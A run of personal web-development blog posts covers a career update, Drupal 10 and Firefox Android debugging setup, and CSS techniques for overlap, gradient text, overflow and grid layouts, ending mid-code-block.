Speaking of jobs, to be honest, ever since the pandemic started in 2020, I've been keeping a relatively low profile. Partly because I felt that a gazillion people were having a hard time because of it, but I was extremely lucky to retain gainful employment throughout that time.

So I just didn't feel like announcing to the whole world my employment status, you know what I mean? I was with Shopify for 3 years until they laid me off in May this year. Then I got picked up by the Interledger Foundation. And now Alex Lakatos is my boss.

I bet he regrets this hiring decision. But at least I'm reasonably competent at my job, which is building websites and making them pretty. So the bills are still getting paid. Thanks, bossman. Fun fact, he is still using the theme I helped create from 3 years ago (go click on the avocado on his profile photo in the About page).

So how's life?

This blog has been around for quite a long time. I've never changed the domain name, nor have I changed the site's design. The only major change was migrating from Jekyll to Hugo. But I still like my site design after all these years so that's that.

There have been a couple of career “checkpoint” posts, the last one was written in 2018. I passed the 10-year mark of being a salaried web developer last month to absolutely no fanfare.

I must say I'm pretty happy working at the Interledger Foundation right now because I literally get to build websites as my main job (AWS is very unfortunately part of the deal, me sad). We are open source by nature, so everything is viewable on Github (me likey).

The premise of Interledger is to make sending payments as easy as sending an email. Interledger is a global interoperable network for financial services that implement the Interledger Protocol.

If you never met me, I think a relatively accurate idea of how I am as a person can be summarised by my AirBnb reviews (the most common descriptor is “clean/tidy”) and feedback from conference talks.

Catching up on the talks I've missed, @hj_chen opening talk so funny, I laugh til die, almost. But got learn new things. Moral of story, i18n is hard: Use a library please, check the numbers in CJK languages, and talk to your designers about the font stack for diff languages.
— Shi Ling (@taishiling) July 28, 2023

So it seems like to some people, I'm reasonably entertaining, and also, I like to keep things organised. Therefore, it should come as no surprise that I standardised all our documentation sites to use Starlight, which is built on Astro.

Astro is your shiny new toy, huh?

Well, in a way, yes. I'm currently at 7 Astro sites, 6 of which are Starlight (the other one isn't for docs). It's been fun learning the ins and outs of what it can do, largely because the documentation is great, and the Discord community is amazing.

The developers section of the Interledger website, Rafiki documentation, OpenPayments documentation and Web Monetization documentation are all running on Starlight. I did not build the main Interledger.org, that is a different story which I may tell later. We'll see.

There's a lot more work to be done off this stable foundation of docs we're trying to build out but it's a good start I think. If you're curious about our family of docs, here's the meta docs site about the docs sites.

The interoperability of Astro with the most popular framework components is pretty cool as I've managed to port over React components from the previous implementation and have things work just fine. It does depend heavily on your use-case, but for mine, rewriting all the presentational React components to Astro felt great.

I did hold onto the React components that needed interactivity and state management but we do documentation, not some future-altering magical app that needs multi-dimensional data binding or whatever.

Making my beautiful tech writers' lives easier, now that's what I care about. I'm happy being the mechanism that the content writers and designers use to convert their output into a website. If there are particularly notable ways to implement something, I might write about it.

Or not. I'm very lazy.

Words are hard.

My team is great though. And we got to meet in person multiple times this year. That's more than I could say for my previous team.

See you around, maybe…

There might be more blog posts soon, or not-so-soon. I don't plan my life. Who knows, I might be dead tomorrow (hopefully not, the handover will be chaotic since I haven't documented everything properly yet). But in the meantime, we'd love it if you took some time to learn more about Interledger and its ecosystem.

Rafiki: open source software that allows an Account Servicing Entity to enable Interledger functionality on its users’ accounts
OpenPayments: an open RESTful API and API standard that enables clients to interface with Open Payments-enabled accounts
Web Monetization: a proposed standard that allows your visitors to pay an amount of their choosing with little to no user interaction by enabling a website to automatically signal to web browsers that it can accept payments

Stay safe, and remember to conserve water 💧 and electricity ⚡!

OMG, I'm doing Drupal again

Fri, 17 Nov 2023 06:30:40 GMT

I've not written proper blog posts for a while now but I have come nearly full circle back to the start of my web career (albeit with a decade more experience and not necessarily any much smarter) to once again build a Drupal site. This is more a testament to the longevity of Drupal than my own career but that's beside the point.

It's time for yet another “setting up Drupal from scratch” blog post, but this time for Drupal 10. Which means I completely skipped Drupal 9 but what hey. The backstory as to why I'm writing this blog post can be its own blog post itself, we'll see. It's Opinionated and mildly spicy IMHO and at my age, I'm too tired for conflict if I can avoid it.

Oh how things have changed

If I check back to the last Drupal-related blog post I wrote back in 2020, Composer was already the new workflow for setting up new sites. So that wasn't a surprise. But even before the actual Drupal stuff, there is the issue of environment setup.

I learned that Docker-based solutions are the recommended development environment but I'm not that big a fan so I went for the old school option of installing things on my local machine instead. Instructions here: macOS 14.0 Sonoma Apache Setup: Multiple PHP Versions.

Now for the Drupal stuff, first things first, read and follow the documentation:

composer create-project drupal/recommended-project my_site_name_dir

For database management, I'm using a GUI tool called Sequel Ace but you do you. The instructions on the documentation worked fine for me without issue, and I'm on MacOS Sonoma 14.1 at this point, so if you do run into problems, Google is your friend?

Anyway, my personal best practice for local Drupal development is to never have errors on the Status report page, even on local, and to always use a local settings.php file. Copy the example.settings.local.php file to the default folder and rename it settings.local.php. Do the uncommenting on the bottom of the actual settings.php file and you will see some new errors related to rebuild access and the like.

If you also have these problems, set

$settings['skip_permissions_hardening'] = FALSE;

and

$settings['rebuild_access'] = FALSE;

in the settings.local.php file. (instructions from here: misreported settings.local.php and settings.php permissions in Status Report). You should then have a nice all-green Status report. Yay.

Another basic setup thing I suggest doing is installing Drush, which is a CLI for Drupal. It does not come out the box with Drupal hence we need to run

composer require drush/drush

You then call Drush via vendor/bin/drush to run drush commands like clearing cache with vendor/bin/drush cr. Yay.

I tried to add drush to $PATH but that somehow made this local installation of drush the global one, messing up my other site so I just left it.

My bread and butter

Theming. That's what pays my bills. Essentially, making websites look pretty. CSS (to a certain extent) does feed me and pay for my hobbies, so thanks, Håkon Wium Lie! I vaguely remember having something set up years ago as a starter theme but seeing that it hadn't been updated for 5 years, that's not really useful anymore.

Let's see how Drupal 10 recommends we do this. Turns out there's a thing called Starterkit theme which we can use to generate a brand new contrib theme.

php core/scripts/drupal generate-theme my_new_theme

Drupal 10 uses Twig 3, so if your code editor doesn't have support for that, installing an extension for .twig files wouldn't hurt. I went with vscode-twig-language-support, but again, you do you.

I'll be honest. I forgot EVERYTHING. But I did write some things down about Drupal 8 theming 3 years ago, so thank you past me. I think some of that stuff is still relevant, but let's see if anything has changed much in Drupal 10.

Generate a new theme

I don't remember this being a thing back then but you can generate a theme from another starter theme with a command now.

php core/scripts/drupal generate-theme my_new_theme

There's a theme that ships out the box called Starterkit theme which this command generates your custom theme from. I tried it, and it had essentially all the templates that you needed to override what was out of the box Drupal I think.

I didn't think I would need all that, given that my last starter theme was really barebones and based of the Stark theme (I think). So you can also use other themes for the generation, but you have to tweak the *.info.yml file of Stark, setting starterkit: true. Then running:

php core/scripts/drupal generate-theme --starterkit stark my_new_theme

The Stark theme doesn't come with much, so past me noted that adding a THEME_NAME.libraries.yml file is almost a mandatory exercise. This is the file that tells the theme where your styles and scripts are and refer to them accordingly.

.
└── YOUR_THEME_NAME/
    ├── config
    ├── css/
    │   └── styles.css
    ├── js/
    │   └── scripts.js
    ├── templates
    ├── YOUR_THEME_NAME.breakpoints.yml
    ├── YOUR_THEME_NAME.info.yml
    ├── YOUR_THEME_NAME.libraries.yml
    ├── logo.svg
    ├── README.md
    └── screenshot.png

This time, I'm not going to do the SCSS setup that I did all those years ago. Yet. I just want to see how far I can get without SCSS at this point. So the libraries file from back then still seems to work.

global-styling:
  version: 1.x
  css:
    theme:
      css/styles.css: {}
  js:
    js/scripts.js: {}

But what this means is that the styles.css file needs to be found in the css folder and the scripts.js file should exist in the scripts folder as well. Also, when you make changes that may impact how the application locates and reads files, it's a good idea to clear the cache. Just in case.

Templating pages

Drupal still uses the namespace override pattern for template files so things still felt familiar. According to my previous blog posts, I made use of Panels a lot but apparently that's not a thing any more. And there's a new thing called Layout Builder.

The long and short of things is that to customise the markup, you can override the system page templates by putting your own templates in your theme's template folder. That's way turning on Twig debug mode is a very good idea. You can do that from the GUI now. Yay.

Now, when you inspect your page, the debug tool helpfully tells you where the markup for each section is coming from, and makes suggestions on what you could name your overriding template to change things how you want to.

Wrapping up

After this point, any further work depends on the actual site design you will be building so you're on your own for that. The yet-to-be-written-maybe-never blogpost about the backstory of this entire endeavour might cover it. We'll see.

Live on and prosper, Drupal.

State of CSS survey 2023 is live!

Tue, 20 Jun 2023 09:53:40 GMT

I'm excited to share with everyone that the State of CSS survey for 2023 has gone live! Yes, it is slightly earlier in the year than last year's iteration, but given the number of CSS features that have shipped in the meantime, we'd love to see if and how folks are using them. Or at least, help bring awareness of them to the broader web developer community.

Most of the properties from last year are back, but we did add 5 more, updated 2 and removed will-change given that it had been widely supported since 2016 and color-contrast() which seemed a little too premature for now.

A lot of the work Sacha Greif has been doing was on the backend, to improve the architecture and overall stability of the platform such that folks will have a smoother participation experience.

We know that the survey does cover quite a bit of ground, and wanted to improve the UX by adding more obvious progress indicators, and your progress is now saved every time you proceed to the next page on the survey.

Keeping in line with the focus from last year's survey to reach a broader range of developers, we are also putting in more effort on outreach. Our survey is for anybody who writes CSS, whether regularly or occasionally, as part of their job, as a student, or just for fun. And so we are working harder to reach groups and communities beyond “typical” developer platforms like Twitter or Stack Overflow.

This is a completely open-source project and we welcome any contributions, be it bug reports, feedback and even help with translations.

The State of CSS survey is now in its 5th iteration, and we have tweaked and changed things based on feedback every year. Hopefully, we can continue to improve moving forward. Please take the survey if you haven't yet, and share it to the folks around you who write CSS as well!

Debugging Firefox on Android

Tue, 07 Feb 2023 14:54:24 GMT

I just figured out how to get my Android phone recognised by Android Debug Bridge (adb) on my MacBook, which finally allowed me to remote debug websites on Firefox Android. Just so I don't forget what I did, this is a short documentation of the steps needed to get everything to work. Hopefully it will stay relevant for a good while.

Firefox official documentation is actually very clear: about:debugging, however, the first time I tried it, I could not for the life of myself get it to work. ¯\_(ツ)_/¯

Enable Developer menu on your Android device.
Enable USB Debugging in the Android Developer Menu.
Enable USB Debugging in Firefox on the Android device.
Connect the Android device to your computer.

First make sure you have installed Android Debug Bridge from Android Tools on your computer in order for it to be able to connect to your device. You do not need to install the full Android Studio SDK. Only adb is needed.

To install adb, download the SDK Platform Tools from https://developer.android.com/studio/releases/platform-tools.html, there are versions for every OS but I'm using Mac specifically.

After that, unzip the files into an easily accessible folder on your computer. From the command line, navigate to folder and run ./adb devices to see list of devices connected.

If no devices show up, then the issue might be on the Android device side of things. Following the advice from this Stack Overflow post, what worked for both my Android 11 and Android 12 devices was to switch the USB configuration to PTP (Picture Transfer Protocol).

After that running ./adb devices actually did list something.

Go back to about:debugging and refresh the page. If the devices are listed on the command line, they will show up in the left sidebar (at least they did for me).

Happy debugging!

So your designer wants stuff to overlap

Tue, 06 Sep 2022 02:50:07 GMT

I started my first full-time web developer job back in September of 2013 (not counting the period where I built random sites for random people). So it's kind of like my 9 year anniversary of being able to earn a stable living by building on the web. Thanks, Sir Tim Berners-Lee. 🙏

Throughout these 9 years, I have encountered quite a good number of designs that involve overlapping elements.

Keep in mind that everything on the web is boxes, quadrilateral boxes (i.e. having 4 straight sides), to be precise. Boxes stacked atop boxes next to boxes nested within boxes.

You get the picture.

Even if your content doesn't take up the entire box, the browser still recognises and lays out your bits of content as boxes.

Before 2017, if you wanted your content to overlap, you had multiple options but all of them were tricky to implement. Especially if you wanted the design to look good at every possible viewport size.

What happened in 2017, you might be asking? Well, Grid was rolled out in one of the most coordinated feature releases the web had ever seen.

To me, Grid is a wonderful addition to your web layout toolbox when it comes to building designs with overlapping elements. Especially if you want more granular control of the height of the layout or a consistent amount of overlap across viewport widths.

Here are 2 demos you can play around with that show use of the 4 options covered below:

Option #1: Negative margins

Negative margins are good for small individual elements that are always overlapping at that same position. Ideally, an element that isn't a major player in the overall “support structure” of the layout.

This is because, when we set a negative margin on an element, the elements that come after it are impacted by the shift as well. In a sense, it compounds the calculations quite a bit if your shifted element is instrumental to the overall layout.

<section>
  <h2>Écrire comme un chat</h2>
  <p>Quand le Chat n'est pas là, les Souris Dansent</p>
  <img src="img/hei.jpg" alt="A beautiful black cat basking in the sun" />
</section>

If you set a margin-top: -3em on the p element in the above markup, then the img will also move up. And if you need to shift the image, that 3em shift needs to be taken into account.

There is always the option to rearrange the markup, BUT, semantics must take precedence for accessibility reasons, so there might be instances where you have to do extra on the styling front.

To a certain extent, left-right shifts with negative margins are probably less consequential than those which impact height, IMO.

Option #2: Translate using transform

Using transforms to translate content is quite similar to the negative margins approach, at least, that's my experience. Great for small elements that are inconsequential to the main layout. You can tell me otherwise.

The reason being, when you transform something, be it translation, rotation or whatever, the browser recognises the original un-transformed element's position and size in the grand scheme of the whole layout. Paint and composition are steps during the rendering process that occur after the browser determines layout.

So, if you had plans for the space left behind by the transformed element, you're going to have to account for that on the other elements adjacent to the transformed one.

On the first demo, I display the height of the section for each technique in the top-left corner, and the transforms option is taller than everyone else because the section retains the original height from BEFORE the transformation happened.

One of these sections is not like the others

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

But the difference from the negative margins approach is that the adjustments you need to make for each element do not impact other elements in the layout. So maybe that makes the code easier to reason with? ¯\_(ツ)_/¯

Option #3: Absolute positioning

Absolute positioning is not a terrible option, especially if your markup is rather flat and easy to reason about. However, if you're dealing with numerous nested elements each with their own margin and padding contributing to the height of the overall container, things could get confusing.

The main issue with absolute positioning is that because the absolutely positioned element is taken out of normal flow, you might have to account for the height “loss” with the other remaining elements in flow.

.position {
  .corner-img {
    position: absolute;
    top: 0;
    right: 0;
  }

  h2 {
    padding-top: 5em; // gotta pad all that space back
    margin-bottom: 2em;
  }
}

However, I do find that if the layout is “propped up” by the elements themselves, i.e. the layout doesn't have swathes of vertical white space which need to be dealt with either with margins or paddings, absolute positioning is rather straight-forward to reason with.

And similar to the other 2 options discussed earlier, they all have the issue of unpredictable overlap at certain viewport widths. Elements might overlap more than you want them to simply because there's no good way to control that.

With absolute positioning, you can also play around with variable widths more easily because there is no “compounding effect” for adjustments like there is for negative margins or even transforms. For demo 2, only the absolute positioning option and the grid option use a variable font-size.

Ooooo…font size smoothly grows and shrinks

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Because my brain was unable to handle the math for negative margins and transforms. But you can still optimise the layout for different viewport widths easily. That's what media queries are for. ¯\_(ツ)_/¯

New Option #4: Grid

We got a new tool to play with! And it's really useful too. Grid really shines when your layout has extensive use of white space, especially along the height axis. Because when you use CSS grid, the browser recognises the grid as a “scaffold” for the entire layout, and can figure out the height of things a little bit better.

Grid, like Flexbox, involves a parent-child relationship where properties applied on the container will have an impact on the immediate child items within it. For grid, once the grid structure is determined, you are free to assign areas to each of your grid items.

.grid {
  display: grid;
  grid-template-rows: 1fr 420px 1fr;
}

.item1 {
  grid-row: 1 / 3;
}

.item2 {
  grid-row: 2 / 4;
}

You can control the amount of overlap based on the amount of space you want to allocate to the row or column where the overlap happens. So in the above example, the overlap will always be 420px, which is a value I fixed.

I find it slightly easier to reason with layout when using Grid, especially if I want more granular control over the positioning of my items, because the scope is reduced.

In other words, each of my items won't “disturb” others on the grid, and I can use the box-alignment properties to adjust them within their allocated spaces.

.corner-img {
  grid-column: 2 / 4;
  grid-row: 1 / span 2;
  justify-self: end; // i really love box-alignment
}

Wrapping up

I'm really pleased with having more tools in my CSS toolbox that are well-suited to handle specific use-cases. Our previous approach of having to use floats for everything is no longer necessary, and floats can go back to doing what it does best. Float content.

Anyway, my point is, we can have more nuanced solutions for implementing layouts based on what type of design we are trying to build, as well as what type of markup we need to deal with. Grid is great, really. But neither is it the end-all-be-all of layout solutions.

The only techniques that are deprecated are the techniques that were hacks, but techniques that utilise CSS properties the way they were intended are still very much useful and worth considering.

Hacking background-clip with gradient colour stops

Thu, 18 Aug 2022 03:15:17 GMT

Before we get into all the hacking and unorthodox ways of doing things, let's talk about background-clip: text properly. If you want an image or a gradient applied to a run of text, like so:

You can achieve such an effect without having to use an image. There is CSS you can apply to your text to make it that fancy. You would need to wrap the bit to be bling-ed up in a span so you can CSS it properly:

<h1>
  Garnbret takes first ever boulder & lead title,
  <span class="highlight">goes 3 for 3 at Munich 2022</span>
</h1>

background-clip: text will make a background image or gradient be clipped to the text in the foreground. The text to be fancy-fied needs to be transparent so the background can show through. And the CSS will look like this:

.highlight {
  background-image: linear-gradient(to right, midnightblue, darkturquoise);
  background-clip: text;
  -webkit-background-clip: text;
  -webkit-text-fill-color: transparent;
}

If you check MDN, there will be a warning on the -webkit-text-fill-color entry saying this is a non-standard implementation. But I still prefer to use this rather than setting color: transparent because when you encounter a browser who does not support background-clip, you won't end up with transparent, invisible text.

According to Introducing Text-Stroke from the Webkit blog:

text-fill-color – This property allows you to specify a fill color for text. If it is not set, then the color property will be used to do the fill.

After analysing the browser support matrix for background-image and background-clip: text, I concluded that any fallbacks I need to write will only need to apply to IE11. Do you even need to care about IE11 anymore, I hear some people wondering?

This is a choice you have to make. I'm merely sharing with you an approach to take if you want to.

There are actually 2 browsers that do not support background-clip: text, IE11 and Opera Mini if it is using the Presto rendering engine (if you have no idea about Opera Mini, might I suggest reading We need to talk about Opera Mini).

But because Opera Mini does not support background-image: linear-gradient() nor -webkit-text-fill-color, it conveniently just renders the text in black.

IE11, on the other hand, does support background-image: linear-gradient(), which means the text ends up looking like this:

Quite a colour contrast failure, to be honest. But a relatively low effort fix is available to us. It's a lovely bit of CSS known as feature queries. I recommend reading Jen Simmons' Using Feature Queries in CSS or maybe Cascading Web Design with Feature Queries.

The code will look like this:

@supports (background-clip: text) {
  .highlight {
    background-image: linear-gradient(to right, midnightblue, darkturquoise);
    background-clip: text;
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
  }
}

IE11 actually does not support @supports, which works out fine because it just means this entire code block gets ignored and the text is rendered in black, without any bells and whistles. Just like how Opera Mini handled it.

Update on the fallback bit!
Someone pinged me to say that the text was not rendering right on iOS Safari 15.2.1 and after digging into the problem, I am fairly confident that it was due to this Webkit bug that was fixed and shipped in 15.5.

Turns out, the people who were trying to use background-clip: text supported iOS by adding -webkit-box-decoration-break: clone; as a workaround. Based on my understanding of the box-decoration-break property, it tells the browser how to render elements that have been broken up into fragments.

The unfortunate side-effect of this fix is that my gradient hack doesn't work exactly as intended because the gradient is then applied onto each line independently with this property turned to clone.

I could hack feature queries to target those Webkit browsers before 15.5 by using the contain property which was released in 15.4. As you can see, we are really mucking around in hack-land right now. But the code would now look like this:

@supports (-webkit-background-clip: text) {
  .highlight {
    display: inline;
    background-image: linear-gradient(
      to right,
      black 0%,
      black 63.5%,
      midnightblue 63.5%,
      darkturquoise
    );
    background-clip: text;
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
  }
}

@supports not (contain: size) {
  .highlight {
    -webkit-box-decoration-break: clone; /* For Webkit versions earlier than 15.4 */
  }
}

This might be an overkill solution but I just wanted to exhaust all possibilities because I like doing such things. Unfortunately, it seems like the 15.4 browsers will fall through the crack and still bug out because it doesn't fall into my fallback coverage.

I did some investigation around iOS version usage numbers and found that the data showed adoption of newer versions is fairly high.

So over time, the number of people impacted by the bug will continue to drop and I can actually get away with this?

The actual hackiness

Now that we've covered the scenario where you have all the control over your markup and styles, let's add some constraints. Because sometimes, you're using some existing framework or component library that does not allow you modify the markup as you please.

For my case, it wasn't an impossibility to modify the markup, but it required making changes to the component itself which was used in many different places and I didn't really want to go down a testing rabbit hole just for this fancy, one-off design pattern. At least, not this time.

So the problem I was facing now is that I could not wrap my target line of text in a span with my special fancy text CSS class. The markup was stuck looking like this:

<h1>Garnbret takes first ever boulder & lead title, goes 3 for 3 at Munich 2022</h1>

After seriously trying to rewrite that specific part of the component to allow custom markup, and realising it would end up being much bigger than I expected. Plus, I am really not that good at Ruby. You know what I'm actually good at? CSS. 😈

I'll state up front that I personally think this is REALLY a hack. And under normal circumstances, I would not do this at all, but life is about constraints. After weighing the pros and cons of this approach, it was deemed reasonable for my rather specific scenario.

The hack was to apply the gradient to the entire line of text but make the front part a solid colour with a hard stop where the text was supposed to start looking fancy.

.highlight {
  display: inline; /* this trick only works for inline elements */
  background-image: linear-gradient(to right, black 0%, black 62%, midnightblue 62%, darkturquoise);
  background-clip: text;
  -webkit-background-clip: text;
  -webkit-text-fill-color: transparent;
}

The entire line had to be an inline element though, otherwise the gradient would apply across multiple lines if the text gets broken up.

I'm pretty glad I did a deep dive into the display property all those years back. But the gist of it is that inline-level elements run like a stacked daisy chain rather than a rectangular block, so the gradient is applied to the entire length of the text from the first character to the last, rather than the length of the box.

It works pretty well, to be honest, BUT there are a tonne of caveats that come with it. Because this is a very fragile implementation. If the ratio of black text to gradient text changes, the code will need to be modified. Even if the font-family changes, which will cause the length of the text to change, you might need to modify the gradient percentage values.

For my case, the line in question was English-only. The copy was final. And the font was explicitly declared (as opposed to something up to the browser's interpretation like font-family: serif). Also, the page would only be live for a set period of time (it was not a “permanent” page so to speak). So the caveats were, acceptable.

If we had needed to translate the line, I might have been able to use a language-targeted selector to customise the gradient for each language. But it would have made a hacky method even hackier?

:lang(zh) {
  .highlight {
    background-image: linear-gradient(
      to right,
      black 0%,
      black 62%,
      midnightblue 62%,
      darkturquoise
    );
  }
}

Wrapping up

I'll admit, even though the code was all of 4 lines, I literally sat still at my desk without moving for quite a while just thinking about what I could do if I couldn't touch the markup. The gradient stop approach came to me when I was getting more coffee.

I guess the moral here is to not sit at your desk when you need a new idea? Anyway, after reading some of my previous writing, I think I'm a worse writer now, so no satisfying conclusion for this post. ¯\_(ツ)_/¯

The horizontal overflow problem

Fri, 29 Jul 2022 04:35:59 GMT

My good friend, Wei, has a pet peeve: unintended horizontal over-scrolling on mobile. Which is very different from intentional horizontal scrolling on mobile. Anyway, we thought it was worth a discussion, from why this phenomenon exists to how we can do our best to avoid it.

As you can see, I have chosen the reasonably “loose” phrase “do our best”. This is because there will inevitably be some edge cases where a trade-off needs to be made on whether to just let things be. We'll talk about those as well.

But did you test it at all?

But first, let's go with the broad strokes situation of simply not testing at a narrow enough viewport. The last I checked, Firefox stops at 435px, Chrome stops at 500px and Safari stops at 559px. That is, if you have your Devtools in a separate window.

If you dock your Devtools to the left or right of your viewport, then you can shrink the viewport down to near 0px if you really wanted to. So the tip here is, dock your Devtools for testing narrow viewports. Or you could, I don't know, ACTUALLY test on a narrow mobile device?

For what it's worth, my phone is a Realme 3 Pro which is still happily chugging along, and it has a viewport width of 360px. Also, according to iOS resolution, even the iPhone 13 has a logical width of 390px, so dock those Devtools, I say.

Fine, it's overflowing. Now what?

Well, since you already have those Devtools open, that's already starting on the solution, eh? A common cause is having items in your layout that are fixed width or have some min-width value that ends up larger than your viewport width at that point in time.

If you have a really long page and can't really figure out what the offending element is, try scrolling all the way to the right and scroll from the top to bottom and see if you can find any bits sticking out. Make the viewport narrower than is reasonable so it's more obvious.

Once you've managed to locate said element with an unshrinkable width, you need to ask yourself if you REALLY need that minimum width on the item itself, or is it still okay to have some shrinkage beyond that set width.

Say you're very firm on not having the item shrink beyond the designated width. Not to worry, you still have options. Quite a few, to be honest. Let's first set up a scenario. The problem is occurring on a 3 column grid where items have a min-width: 180px applied.

Let the browser do it

First option, you could consider ditching the min-width on the item, then apply that value into the minmax() function for your column width, and let the browser figure out how many columns you need instead.

.grid {
  grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
}

The downside of this is, you can't control how many columns you get at different viewports. Is this something you can live with? If so, cool. If not, let's think of something else. Because even though the minimum width is accounted for, perhaps the item sizes when the column count first changes is too big for your liking.

You do it yourself

Okay, in that case, maybe what you'd like is a little more control. You can always add a breakpoint and tweak things from there. ¯\_(ツ)_/¯

.grid-s2 {
  grid-template-columns: repeat(2, 1fr);
}

@media screen and (min-width: 30em) {
  .grid-s2 {
    grid-template-columns: repeat(3, 1fr);
  }
}

Break the words? Maybe…?

Maybe your issue isn't even width values at all. It's the fact that you have some really long word in the item that the browser won't break. Because the browser respects words like that. The intricacies of line-breaking and word-breaking are deep and complicated. Also very interesting. I recommend watching Line breaking and related properties from CSS Text by Florian Rivoal.

Anyways, if the offending string is a URL, then there are even less qualms about breaking that up (IMHO, feel free to disagree). The property you are looking for is word-break: break-all, and its an inheritable property so you can choose to put it on the grid container or the grid item, up to you.

.grid {
  grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
  word-break: break-all;
}

What about hyphenation? Is that even a thing in CSS? Well, the answer is kinda sort of? If you haven't watched the video linked above yet, there's a section on hyphenation at the 15.16 minute mark which I'm linking here so you don't have to scrub: The hyphens property.

By default, hyphenation is set to manual, which means that you are responsible for the hyphens themselves. For visible hyphens use U+2010 or &dash;, while for invisible hyphens, use U+00AD or . This approach only makes sense if you have absolute control over the content and markup.

Often, the content is not even written by you, can you even coordinate all your content writers to use  in their writing? What if you're using markdown? Then your content will end up being littered with a weird mix of HTML and markdown? Tricky, tricky.

Browsers can do automatic hyphenation, but you must have the lang attribute set correctly. Incorrect hyphenation makes the text really difficult to read. Browsers use dictionaries to figure out when hyphenations need to kick in, so tell your browser what language your content is in.

Browser support for hyphens has improved since Florian's talk, so this is a viable option. But if the word happens to not be in the dictionary, well, no hyphens for you then. The CSS you're looking for is hyphens like so:

.grid {
  grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
  hyphens: auto;
}

Intentional overscroll

Okay, so you hate all the options and want your original implementation to stay. I have a proposal to counter the “let things be” argument right here. Localised your overscroll to the impacted content only. In other words, move the overscroll from the scope of the entire page down to your long-ish content.

You'll need an extra wrapper around the markup for this, but the CSS is just one line.

<div class="grid-scroll-wrapper">
  <div class="grid">
    <!-- All your lovely long items ¯\_(ツ)_/¯ -->
  </div>
</div>

.grid-scroll-wrapper {
  overflow-x: scroll;
}

.grid {
  grid-template-columns: repeat(3, 1fr);
}

Depending on where your content gets cut-off, you could even consider this an affordance to encourage people to try to scroll the thing.

If you want to see all the discussed solutions in action, here's a handy Codepen.

See the Pen The horizontal overflow problem by Chen Hui Jing (@huijing) on CodePen.

Wrapping up

Our conclusion to this issue is that the case of unintentional horizontal overflow on mobile really can be avoided with a litle bit more care and awareness that the problem exists. There are many ways to solve problems in CSS, and that's a huge plus, not something to be annoyed about.

Anyway, if you actually do have a “let things be and overscroll the page” use-case, do let us know. I'd like to broaden my horizons to edge cases I've never heard of.

Can we enterprise CSS grid?

Thu, 23 Jun 2022 02:50:11 GMT

Regardless of whether the title of this blog post is grammatically correct or not, this is a question that I've had the opportunity to tackle recently. And after meeting and chatting with a bunch of CSS folks at CSS Day, I figured it'd be a good time to organise my thoughts around this topic.

I am known to be long-winded. ¯\_(ツ)_/¯ You have been warned.

So, CSS grid has been supported in major browsers for around 5 years now. And back even before it shipped, Jen Simmons had this to say:

You don’t need a framework to use CSS Grid. CSS Grid *is* a framework. — says @rachelandrew, about to be ruthlessly copied by me
— Jen Simmons (@jensimmons) August 31, 2016

Personally, I very much agree with her. CSS grid was developed to tackle the use-case of web applications. If you go to 1.1. Background and Motivation of the CSS Grid Layout Module Level 1 specification, it clearly states:

As websites evolved from simple documents into complex, interactive applications, techniques for document layout, e.g. floats, were not necessarily well suited for application layout. […] The capabilities of grid layout address these problems. It provides a mechanism for authors to divide available space for layout into columns and rows using a set of predictable sizing behaviors.

We should be seeing CSS grid being used all over the place these days, right? I, sadly, have not bore witness to this yet though. It's not that nobody is using CSS grid, far from it. It's just that I've mostly seen it used in personal sites or smaller scale applications. I have yet to see it used as the backbone of a huge application's layout.

I have some theories on why. Again, personal opinion only, but let me know if you think it makes sense.

The enterprise software problem

The term “enterprise software” somehow has a negative connotation, doesn't it? I'll be honest, if I play the word association game here, my words off the top of my head would be: bureaucratic, hard to update, clunky UI. Which is a little unfair, I suppose.

Sure, there IS enterprise software that fits that description, but that doesn't mean ALL enterprise software is like that. However, the reason why I have those word associations is because enterprises themselves are large.

And this large-ness can often result in bureaucracy, where decisions have to be approved by dozens of levels up the chain, so enhancements or feature updates take a long time to ship. Large organisations tend to have many competing priorities as welll.

Most organisations also have some sort of process to determine who should work on what, so it takes some strong champion-ing and compelling arguments to get the requisite support for a new intiative or project.

Enterprises did not grow to their current size overnight. They are very much like trees, in my opinion, the bigger and stronger they grow, the deeper their roots are and the harder it is to move them. Change is just harder once something has been established.

What's the point here? 🤔

I'm getting there. You read the opening warning, right? My spicy take on why I'm not seeing CSS grid being used in the manner I had expected due to these combination of factors:

Developers still aren't familiar with it yet
Large applications are built with numerous libraries and frameworks and often, layout styles are dependent on whether the choice of library or framework supports certain features or not
Frontend has got to a point where it covers a very large range of domains, and CSS is just not sexy or lucrative enough for people to be specialists in it

Integrating CSS grid into an existing application, especially a large one, is not a trivial affair. And unless folks are willing to invest the time and effort to do it, I'm positing this is one of the main reasons adoption in those contexts have been relatively low.

That being said, I don't think it's an impossible task though. On the contrary, I found it immensely interesting to explore the different possible approaches and working out actual implementation details.

So let me get to the actual point. From the moment CSS grid was supported in all major browsers, the issue became less of a technical problem, and more of a people problem. But let's talk about the technical details first, because to me, that's the fun stuff.

3 options for implementing CSS grid in a React application

I'm going with React here, because that's what I had on hand to work with at the time. But I'm quite sure the approaches themselves are transferrable to different frameworks or even tech stacks.

Most applications have some sort of a design system or at least, design guidelines, to help introduce some consistency across different pages and components. Let's use a generic 12-column grid as the basis for discussion today.

Size	Min	Max	Cols	Margin	Gutter
xs	320px	639px	4	16px	16px
sm	640px	899px	8	30px	16px
md	900px	1199px	12	50px	16px
lg	1200px	1599px	12	90px	24px
xl	1600px	-	12	>180px	24px

A grid system with these specifications is surprisingly straightforward to implement with CSS grid.

Option 1: Just write the CSS

The rationale for this approach is that the grid would inform where everything on the application would sit within the interface. Hence, it could live in the global stylesheet that gets loaded everywhere, since the expectation is that it would be used everywhere.

Grid, like Flexbox, introduces the concept of a parent-child relationship between the grid container and its items.

All of the specifications from the table above would be defined on the grid container, while placement of items within the grid can be assigned to each individual grid item (if necessary) or be auto-placed by the browser.

.grid {
  min-width: 320px;
  max-width: 1600px;
  display: grid;
  grid-template-columns: repeat(4, 1fr);
  gap: 1em;
  margin-left: 16px;
  margin-right: 16px;
}

@media screen and (min-width: 640px) {
  .grid {
    grid-template-columns: repeat(8, 1fr);
    margin-left: 30px;
    margin-right: 30px;
  }
